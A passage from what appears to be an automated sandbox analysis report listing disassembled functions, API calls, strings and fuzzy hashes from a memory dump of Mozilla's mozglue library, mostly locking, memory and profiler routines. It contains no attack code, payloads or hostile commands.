Opcode Fuzzy Hash: 47dde26c12a91aed2ef44e6116d60716c11412156b225f495b952183842fe124
Instruction Fuzzy Hash: 2D0186B1704111ABDF01EF16DC08A06BBB8FB833297F64375E51AD2615E7319815CF89

Function 6C527620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5275C4,?), ref: 6C52762B

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5274D7,6C5315FC,?,?,?), ref: 6C527644
GetCurrentThreadId.KERNEL32 ref: 6C52765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5274D7,6C5315FC,?,?,?), ref: 6C527663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5274D7,6C5315FC,?,?,?), ref: 6C527677

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ba7c4c4dd7f02c25d064a0f40b1fa58540bd9dccf42e025a16f013fe1fc0b281
Instruction ID: d86e0d70d37e2cffeec56bd98d9fa06aad92fc47da6b2c187e8f5ebed0ba0f8c
Opcode Fuzzy Hash: ba7c4c4dd7f02c25d064a0f40b1fa58540bd9dccf42e025a16f013fe1fc0b281
Instruction Fuzzy Hash: 45F0AF71E10745ABD7009F21CC88A76B778FFEA259F12431AF90452601E7B1A5D08BD1

Function 6C531700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C531800

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Part of subcall function 6C4D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C513EBD,6C513EBD,00000000), ref: 6C4D42A9

Strings

Details, xrefs: 6C531925
{marker.name} - {marker.data.name}, xrefs: 6C5318C7
name, xrefs: 6C531939

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: d57c3af5f07e2b3a27f94454f8a6d129c11253a012654c4204888107db695f51
Instruction ID: d03056db5601b46657d28f8f5b0002a7add9cf08b7a04d0851dc1d2c714d9bb2
Opcode Fuzzy Hash: d57c3af5f07e2b3a27f94454f8a6d129c11253a012654c4204888107db695f51
Instruction Fuzzy Hash: 5E71F371A00306DFC704DF28D854B9ABBB1FF85314F45466DD8194BB41E770AAA8CBE1

Function 6C4FD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

EnterCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD4F2
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD50B

Part of subcall function 6C4DCFE0: EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4DCFF6
Part of subcall function 6C4DCFE0: LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD52E
EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C4FD690
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD751

Strings

MOZ_CRASH(), xrefs: 6C4FD4BB

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: ba04d0f68b7b5edde1bf331acd13d22e286a51f8f9997a88026e598f01f4b672
Instruction ID: d093dcb9573414b1e777c39de0da9b13bd9ca3edba9cf641f3593a215a4c4b6c
Opcode Fuzzy Hash: ba04d0f68b7b5edde1bf331acd13d22e286a51f8f9997a88026e598f01f4b672
Instruction Fuzzy Hash: A851E171A047418FD714CF28C894B1AB7F1EBCA714F954A2ED5A9C7B85D770E801CB92

Function 6C524630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C524721

Strings

profiler-paused, xrefs: 6C5246E4
., xrefs: 6C52476A
-%llu, xrefs: 6C524733

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: c7b4a502a672074255162952debe9fd5223277e7d2da55a9ffda784ff2afb300
Instruction ID: ab678543343964b56a214d881cabbb48e5308d065231af3f96fcca8f37b174a6
Opcode Fuzzy Hash: c7b4a502a672074255162952debe9fd5223277e7d2da55a9ffda784ff2afb300
Instruction Fuzzy Hash: 40417772F047089BCB08DF78DC5155EBBE5EF86344F14863EE855A7781EB34A8448751

Function 6C549830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C54985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C54987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C5498DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C5498D9

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: c4e433f173e7aac8b9e78657751f4a61b9111b867603c60778a78813f8bddc10
Instruction ID: 289f775728b03a76f9e25bca30f8e30bccc5528ee71b1692fed6369c47e513da
Opcode Fuzzy Hash: c4e433f173e7aac8b9e78657751f4a61b9111b867603c60778a78813f8bddc10
Instruction Fuzzy Hash: BC310571B00108AFDB14AF59DC459EF77A9DF85314F90802DEA1ADBB40DB716D058BE1

Function 6C5246E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C524721

Part of subcall function 6C4D4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C513EBD,00000017,?,00000000,?,6C513EBD,?,?,6C4D42D2), ref: 6C4D4444

Strings

profiler-paused, xrefs: 6C5246E4
., xrefs: 6C52476A
-%llu, xrefs: 6C524733

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 0b2d4ac4be0942e7eda3e4548c94c813d8f29703238a261a7b87510be003c760
Instruction ID: 9fcf3c8f5b98cab8f5d1bdde0b5d80a7093d0adf29152592352d866469db8954
Opcode Fuzzy Hash: 0b2d4ac4be0942e7eda3e4548c94c813d8f29703238a261a7b87510be003c760
Instruction Fuzzy Hash: 60313972F042089BCB0CCF6CDC9169EBBE6DB89314F59853EE8159B781E77498058B90

Function 6C52B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C513EBD,6C513EBD,00000000), ref: 6C4D42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C52B127), ref: 6C52B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C52B4E4

Strings

pid:, xrefs: 6C52B4DE

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 7858e46b7964a92d3a1ce27f39e03bd5a57b919236a769d1c8b6c38fbfae43d8
Instruction ID: 6a1aa3fd775c6a427535be8f81f8690d2302ec8e875ce9a581f0d7511cd151af
Opcode Fuzzy Hash: 7858e46b7964a92d3a1ce27f39e03bd5a57b919236a769d1c8b6c38fbfae43d8
Instruction Fuzzy Hash: 5C31E731A01204DBDB10EFA9DC80ADEB7F6FF45318F540529D81267A81E735A945CBE1

Function 6C4EBF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C537A3F), ref: 6C4EBF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C537A3F), ref: 6C4EBF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C537A3F), ref: 6C4EBF7E

Strings

Tl, xrefs: 6C4EBF84

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: Tl
API String ID: 4279176481-246313527
Opcode ID: 482f53e94643bc5a182b44df42df23f33c103ab247b1e5513759584b01d0fcd4
Instruction ID: dde64a67787541b6923c929d3ac5b21472e36f4ab4a95310efdeb5705d07ca9a
Opcode Fuzzy Hash: 482f53e94643bc5a182b44df42df23f33c103ab247b1e5513759584b01d0fcd4
Instruction Fuzzy Hash: 3011BF792006048FC729CF0CD999A26FBF8FB59305355885DE98A8B751C772A800CB94

Function 6C51E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C51E577
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51E584
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C51E8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C51E722, 6C51E750, 6C51E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C51E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C51E826, 6C51E850
MOZ_PROFILER_STARTUP, xrefs: 6C51E5A1, 6C51E5CC, 6C51E5FF, 6C51E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C51E777

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: f58eccd1e2547dd667e23dfdbbc60ffb7233c2ba52d4ab4c79e11a78e2029949
Instruction ID: 62d75c09e53e3c501b4d3314e281a67c9e103753b0d5836d7bf01f6914565564
Opcode Fuzzy Hash: f58eccd1e2547dd667e23dfdbbc60ffb7233c2ba52d4ab4c79e11a78e2029949
Instruction Fuzzy Hash: 8F11A131604254DFCB00AF14CC4CB6ABBF4FBC9328FC20619E84597A50D774A804CB99

Function 6C520C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C520CD5

Part of subcall function 6C50F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C50F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C520D40
free.MOZGLUE ref: 6C520DCB

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

free.MOZGLUE ref: 6C520DDD
free.MOZGLUE ref: 6C520DF2

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: b9f1d451904e071d0043331289929d1b9dab10b377b84f4fe7de7b10ec6bee0f
Instruction ID: 05fff933d755712c158fd654fd82396f92458693b3c2ef5b59cfe2e2ea73d7f3
Opcode Fuzzy Hash: b9f1d451904e071d0043331289929d1b9dab10b377b84f4fe7de7b10ec6bee0f
Instruction Fuzzy Hash: 2A41187190A784CBD720CF29C48079AFBE5BFC9714F518A2EE8D887750D774A845CB82

Function 6C510800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C510838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C51084C
EnterCriticalSection.KERNEL32(?), ref: 6C5108AF
LeaveCriticalSection.KERNEL32(?), ref: 6C5108BD
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C5108D5

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: fee7d5e84e7d0ba5af816b1a68d687e9b7f2471e4016a4792b0a32f0727b88f1
Instruction ID: 4e5f7f92009dd285a7af9c29a8e7687ab9215361b0851430fcd3b68541f128ee
Opcode Fuzzy Hash: fee7d5e84e7d0ba5af816b1a68d687e9b7f2471e4016a4792b0a32f0727b88f1
Instruction Fuzzy Hash: D021F231B082499BEF04DF65CC88BAE73B9BFC4708F940529E509A7A40DF75A8158BD4

Function 6C52CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52CDA4

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

Part of subcall function 6C52D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C52CDBA,00100000,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52D158
Part of subcall function 6C52D130: InitializeConditionVariable.KERNEL32(00000098,?,6C52CDBA,00100000,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52CDC4

Part of subcall function 6C527480: ReleaseSRWLockExclusive.KERNEL32(?,6C5315FC,?,?,?,?,6C5315FC,?), ref: 6C5274EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52CECC

Part of subcall function 6C4ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C4ECAA2

Part of subcall function 6C51CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C52CEEA,?,?,?,?,00000000,?,6C51DA31,00100000,?,?,00000000), ref: 6C51CB57
Part of subcall function 6C51CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C51CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C52CEEA,?,?), ref: 6C51CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52D058

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 2ef53b228b6434f9395b7aa7b905f0eda60632a9e33fa6389d9f30af5822c901
Instruction ID: 2902b949aeb8918f4759fcd6c962dbc868010645aee1d02b08ccd4cbd59e6c29
Opcode Fuzzy Hash: 2ef53b228b6434f9395b7aa7b905f0eda60632a9e33fa6389d9f30af5822c901
Instruction Fuzzy Hash: 59D14D71A04B469FD718CF28C880B99F7E1BF89308F01866DD95987752EB31F9A5CB81

Function 6C4E1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C4E17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C4E18EE
free.MOZGLUE(?), ref: 6C4E1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4E194C

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 8b842a0d855b58e5268c5b0af0b88db5c864267e44afecef110610a496ddb1fc
Instruction ID: 217e7838c2e53087907c43c068332d5974817e67101c5fa79c10eee9798234c2
Opcode Fuzzy Hash: 8b842a0d855b58e5268c5b0af0b88db5c864267e44afecef110610a496ddb1fc
Instruction Fuzzy Hash: 0081BD70A112059FCB08CF68D894DAEBBB1FF89315F05466DE851AB752D730E849CBA2

Function 6C4F5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C4F5D40
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67
__aulldiv.LIBCMT ref: 6C4F5DB4
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F5DED

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 348b974e5562f03ae68c908c922fa127b59e482b2fe6b703d768d85cc09853de
Instruction ID: 77fa3a47cfa6e74ef20e546193986b6b62af70c4a1057a89734af9807bb22736
Opcode Fuzzy Hash: 348b974e5562f03ae68c908c922fa127b59e482b2fe6b703d768d85cc09853de
Instruction Fuzzy Hash: 2F516171E011198FCF08CF68CC54EAEBBB2FB85304F5A861DD865A7B91C7706946CBA4

Function 6C4DCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4DCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C4DCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C4DCF4E

Strings

0, xrefs: 6C4DCF30

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: c58fd33a75997e4271e19459891d7e4beff0685fb622f0494bd26d71b54ae881
Instruction ID: 9dcfe6377f33820f80d7c9f88ee371aabf01a07bc61ae29bf4b730ddd3acd940
Opcode Fuzzy Hash: c58fd33a75997e4271e19459891d7e4beff0685fb622f0494bd26d71b54ae881
Instruction Fuzzy Hash: 5A51F275A00216CFCB00DF18C8A0E9AB7A5EF99304F1A859DD8595F391D771BD06CBE0

Function 6C5377D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5377FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C537829

Part of subcall function 6C50CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C4D31A7), ref: 6C50CC45
